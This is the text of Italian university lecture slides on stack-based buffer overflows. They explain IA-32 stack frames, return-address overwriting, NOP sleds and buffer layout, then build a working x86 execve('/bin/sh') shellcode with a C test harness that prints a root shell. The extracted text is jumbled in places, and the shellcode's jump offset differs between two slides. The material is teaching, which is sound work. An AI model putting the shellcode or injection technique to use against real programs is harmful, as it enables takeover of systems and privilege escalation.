Alberto Ornaghi <[email protected]> Lorenzo Cavallaro <[email protected]> Buffer Overflows (stack based) ICT security 2002/2003 1 Table of contents Introduzione all’IA-32 Problema Code Injection Shellcode ICT security 2002/2003 2 Introduzione ICT security 2002/2003 3 Record di attivazione Return Address - E’ l’indirizzo a cui viene ceduto il controllo una volta terminata l’esecuzione della funzione. Base Pointer - E’ il contenuto del registro EBP al momento della chiamata alla funzione. Rappresenta il puntatore al record di attivazione precedente che deve essere ripristinato al termine della funzione ICT security 2002/2003 high ret address base pointer automatic variables ... ... low 4 Sullo stack int foo(int a, int b) { int i = 5; return (a + b) * i; } int main(int argc, char **argv) { int c = 3, d = 4, e = 0; e = foo(c, d); printf(“e = %d\n”, e); ICT security 2002/2003 } stack high 4 3 ret address base pointer 5 low 5 RDA innestati int foo(int a, int b) { bar(a, b); } int bar(int a, int b) { ... } int main(int argc, char **argv) { foo(c, d); } ICT security 2002/2003 high d c ret address base pointer b a ret address base pointer low 6 Registri della CPU high d EIP: instruction pointer “puntatore all’istruzione successiva” c ret address base pointer EBP: frame pointer “puntatore riferito alla base del record di attivazione” (fisso) ESP: stack pointer “puntatore riferito al top della stack” (mobile) ICT security 2002/2003 b a ret address base pointer low 7 Prologo ed epilogo Prologo: push %ebp mov %ebp, %esp (salva %ebp) (sposta %esp) Epilogo leave ret (ripristina %esp e %ebp) (ripristina %eip) ICT security 2002/2003 8 Variabili automatiche b Int foo(int a, int b) { int i, j; char buf[9]; … } high a ret address base pointer i L’allineamento di default sullo stack e’ a double word (4 byte) I buffer vengono estesi per essere allineati a 4 byte ICT security 2002/2003 j pad buffer low 9 Problema ICT security 2002/2003 10 Situazione normale b int foo(int a, int b) { int i, j; char buf[9]; } high a ret address base pointer i = 5; j = 123; strcpy(buf, “sicurezza”); 05 005 00 00 7B 00 12300 00 61 a 72 r e65 7A z 7A z 73 s 69 i 63 c 75 u ICT security 2002/2003 low 11 Situazione critica b int foo(int a, int b) { int i, j; char buf[9]; } high a ret address base pointer i = 5; j = 123; strcpy(buf, “sicurezzabcde”); 05 005 00 00 e 00 00 00 65 a 62 b 63 c 64 d 61 r 65 e 7A z 7A z 72 Buffer Overflow ICT security 2002/2003 s 69 i 63 c 75 u 73 low 12 Situazione molto critica int foo(intRet a, int b) Overflow { Segmentation fault... int i, j; char buf[9]; EIP = 0x65656565 i = 5; j = 123; strcpy(buf, “sicurezzaaaabbbbcccceeeeffff”); } ICT security 2002/2003 b high a 65ret65address 65 65 64 64 pointer 64 64 base 63 635 63 63 12362 62 62 62 61 61 61 61 72 65 7A 7A 73 69 63 75 low 13 Code Injection ICT security 2002/2003 14 Modifica del ret address int a = 3; int b = 5; int e; 0xbffffcab b 0xbffffca7 a high 8BretFC address FF BF 90 90 pointer 90 90 base e = foo(a, b); 90 90 90 90 90 90 90 90 printf(“%d\n”, e); 90 90 90 90 90 90 90 90 ret addr 0xbffffc8b ICT security 2002/2003 90 90 90 90 low 15 Guessing del “ret addr” (1) Non esiste un algoritmo efficiente per trovare il “ret addr” Procediamo empiricamente tenendo conto che: il S.O. usa memoria virtuale e paginazione Processo 1 0xbfffffff high Processo 2 0xbfffffff 0xbffffffb 0xbffffffb 0xbffffff7 0xbffffff7 0xbffffff3 low ICT security 2002/2003 0xbffffff3 16 Guessing del “ret addr” (2) L’immagine dei processi e’ cosi’ strutturata: offset variabile env high argv RDA main offset fisso RDA foo RDA bar low ICT security 2002/2003 17 Guessing del “ret addr” (3) lo stack pointer (esp) e’ una buona base dalla quale poter togliere (o aggiungere) un offset; quindi l’indirizzo cosi’ ottenuto e’ un buon candidato come retaddr del programma vulnerabile. buf[4] ret addr high buf[0] b a esp offset (8) low ICT security 2002/2003 18 Problematiche Le funzioni di copia per le stringhe (strcpy, gets, ecc) copiano fino al primo NULL byte (terminatore per le stringhe). Il codice iniettato non dovra’ contenere NULL byte code[] = “\xeb\x2a\x5f\xc6\x47\x07\x00\x89\x7f\x08\xc7\x47”; strcpy(buf, code); buf = “\xeb\x2a\x5f\xc6\x47\x07” ICT security 2002/2003 19 Facilitazioni Per aumentare la probabilita’ di trovare il “ret addr” e’ possibile preparare una “pista di atterraggio” di NOP (0x90) (istruzione macchina che non fa nulla). ret addr allargato ret address ... CODE CTED INJE 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ICT security 2002/2003 20 Struttura del buffer Il buffer che verra’ iniettato nel programma vulnerabile avra’ una struttura simile a questa: NOP NOP EXECUTABE CODE RET ADDR code[] = “\x90\x90\x90...\xeb\x2a...\x8d\xfc\xff\xbf”; attenzione !! ICT security 2002/2003 21 Considerazioni... Il buffer potrebbe essere troppo piccolo per contenere un codice “utile” Lo stack potrebbe non essere eseguibile Il “code” puo’ essere messo in qualsiasi punto della memoria (non solo sullo stack, e non solo nel buffer) ICT security 2002/2003 22 Lo shellcode ICT security 2002/2003 23 exec.c #include <stdio.h> #include <unistd.h> int main() { char *shell[] = { "/bin/sh", NULL }; } execve(shell[0], shell, NULL); ICT security 2002/2003 24 Disasm main push mov sub movl mov and mov push push movl lea mov push mov push call %ebp %esp, %ebp $0x18, %esp $0x809cd00, 0xfffffff8(%ebp) 0xfffffff8(%ebp), %eax 0xfffffff0, %esp %eax, 0xfffffff0(%ebp) %eax $0x0 $0x0, 0xfffffffc(%ebp) 0xfffffff0(%ebp), %eax 0xfffffffc(%ebp), %edx %eax %edx, 0xfffffff4(%ebp) 0xfffffff0(%ebp) 0x804cab0 <__execve> ICT security 2002/2003 base pointer $0x809cd00 $0x0 ($0x809cd00) $0x809cd00 25 Disasm execve mov mov mov mov mov int $0x8(%ebp), %edi $0xc(%ebp), %ecx $0x10(%ebp), %edx %edi, %ebx $0xb, %eax $0x80 ICT security 2002/2003 $0x0 ($0x809cd00) $0x809cd00 ret address base address 26 registri mov mov mov mov mov int $0x8(%ebp), %edi $0xc(%ebp), %ecx $0x10(%ebp), %edx %edi, %ebx $0xb, %eax $0x80 sh-2.03# id uid=0(root) eax = 0xb ebx = “/bin/sh” gid=0(root) groups=0(root) ecx = (“/bin/sh”, NULL) edx = (0x0) ICT security 2002/2003 27 Lo shellcode eax = 0xb ebx = “/bin/sh” ecx = (“/bin/sh”, NULL) edx = (0x0) Supponiamo di avere l’indirizzo sullo stack di “/bin/sh” nel registro %edi movb movl movl lea lea mov mov int $0x0, 0x7(%edi) %edi, 0x8(%edi) $0x0, 0xc(%edi) 0xc(%edi), %edx 0x8(%edi), %ecx %edi, %ebx $0xb, %eax $0x80 ICT security 2002/2003 #terminazione #indirizzo #NULL #envp NULL #array #/bin/sh #syscall 28 Lo shellcode edi = “/bin/sh” Come troviamo l’indirizzo sullo stack di “/bin/sh” ??? jmp string_addr after_jmp: pop %edi [...] string_addr: call after_jmp .string \"/bin/sh\" ICT security 2002/2003 Shellcode pagina precedente 29 Opcode dello shellcode jmp string_addr after_jmp: pop %edi movb $0x0, 0x7(%edi) movl %edi, 0x8(%edi) movl $0x0, 0xc(%edi) lea 0xc(%edi), %edx lea 0x8(%edi), %ecx mov %edi, %ebx mov $0xb, %eax int $0x80 string_addr: call after_jmp .string \"/bin/sh\" # 0xeb 0x1e # # # # # # # # # 0x5f 0xc6 0x89 0xc7 0x8d 0x8d 0x89 0xb8 0xcd 0x47 0x7f 0x47 0x57 0x4f 0xfb 0x0b 0x80 0x07 0x00 0x08 0x0c 0x00 0x00 0x00 0x0c 0x08 0x00 0x00 0x00 # 0xe8 0xd1 0xff 0xff 0xff ICT security 2002/2003 30 Eliminazione null bytes movl $0x0b, %eax { xorl %eax, %eax movb %0x0b, %al movb $0x00, 0xc(%edi) { xorl %eax, %eax movb %al, 0xc(%edi) ICT security 2002/2003 31 Shellcode finale jmp string_addr after_jmp: pop %edi xorl %eax, %eax movb %al, 0x7(%edi) movl %edi, 0x8(%edi) movl %eax, 0xc(%edi) lea 0xc(%edi), %edx lea 0x8(%edi), %ecx mov %edi, %ebx movb $0xb, %al int $0x80 string_addr: call after_jmp .string \"/bin/sh\" # 0xeb 0x18 # # # # # # # # # # 0x5f 0x31 0x88 0x89 0x89 0x8d 0x8d 0x89 0xb0 0xcd 0xc0 0x47 0x7f 0x47 0x57 0x4f 0xfb 0x0b 0x80 0x07 0x08 0x0c 0x0c 0x08 # 0xe8 0xde 0xff 0xff 0xff ICT security 2002/2003 32 Testing dello shellcode char shellcode[] = "\xeb\x1d\x5f\x31\xc0\x88\x47\x07\x89\x7f\x08\x89” “\x47\x0c\x8d\x57\x0c\x8d\x4f\x08\x89\xfb\xb0\x0b” “\xcd\x80\xe8\xde\xff\xff\xff/bin/sh"; int main() { sh-2.03# id uid=0(root) gid=0(root) groups=0(root) void (*f)(void) = (void (*)(void))shellcode; f(); } ICT security 2002/2003 33 – Lorenzo Cavallaro – Alberto Ornaghi <[email protected]> <[email protected]> Mailing list del corso (per domande tecniche) [email protected] [email protected] ICT security 2002/2003 34